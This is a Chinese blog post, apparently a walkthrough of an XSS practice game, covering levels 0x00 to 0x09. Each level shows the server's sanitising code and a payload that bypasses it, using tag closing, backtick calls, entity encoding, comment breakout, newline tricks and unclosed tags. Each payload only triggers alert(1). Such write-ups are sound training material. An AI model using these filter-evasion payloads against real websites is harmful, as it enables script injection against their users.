xss game

第0x00关

没有难度,直接输入<script>alert(1)</script>即可过关

第0x01关

要求在文本框中输入js代码,文本框采用<textarea>元素。

方法:只需要闭合文本框就可以——</textarea><script>alert(1)</script>。

第0x02关

使用input元素

代码:<input type="name" value="">

方法有几种,其中一种仍然是闭合标签——payload:"><script>alert(1)</script><"。

第0x03关

服务器端代码:

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

 

代码过滤了'()',可以使用“`”绕过,具体payload:<script>alert`1`</script>

 

第0x04关

服务端过滤了()和“`”

function render (input) {

  const stripBracketsRe = /[()`]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

 

需要用到svg元素绕过:<svg><script>alert&#40;1&#41;</script></svg>

iframe标签也可以:<iframe srcdoc="<script>alert&#40;1&#41;</script>">

使用href属性:<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">123</a>

第0x05关

这一关使用注释符将输入的代码全部注释了,只需要将注释符闭合即可

源代码:

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

 

过关:--!>'<script>alert(1)</script>

第0x06关

这里借鉴了别人的思路,服务器代码:input = input.replace(/auto|on.*=|>/ig, '_'),

                 return `<input value=1 ${input} type="text">`

过滤了auto,将“on开头到=的关键字过滤了”,以及过滤了>

这里借鉴了别人的代码,直接在onmouseover后换行:

onmouseover
=alert(1)

第0x07关

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

将<>中间的全部过滤了,借鉴别人的思路,使用容错机制,且可以使用//注释掉后面的内容也是可以的

<svg onload='alert(1)'

<img src=x onerror='alert(1)'

<iframe src=javascript:alert`1`//

具体可看:https://www.cnblogs.com/BOHB-yunying/p/12656916.html

第0x08关

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

将</style>过滤了,但是仍然可以像第6关一样,使用换行和空格绕过

payload:

</style
>
  <script>alert(1)</script>
  <style>

很奇怪的是使用空格时下列的代码也是有效地,有可能是按照规则的严格过滤吧

</style //>
  <script>alert(1)</script>

 第0x09关

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这里使用正则匹配是否按照http(s):规则输入,可以直接闭合<script>标签。

https://www.segmentfault.com"></script>
<script>alert(1)//<"

posted @ 2020-08-13 20:17  baisi  阅读(160)  评论(0)    收藏  举报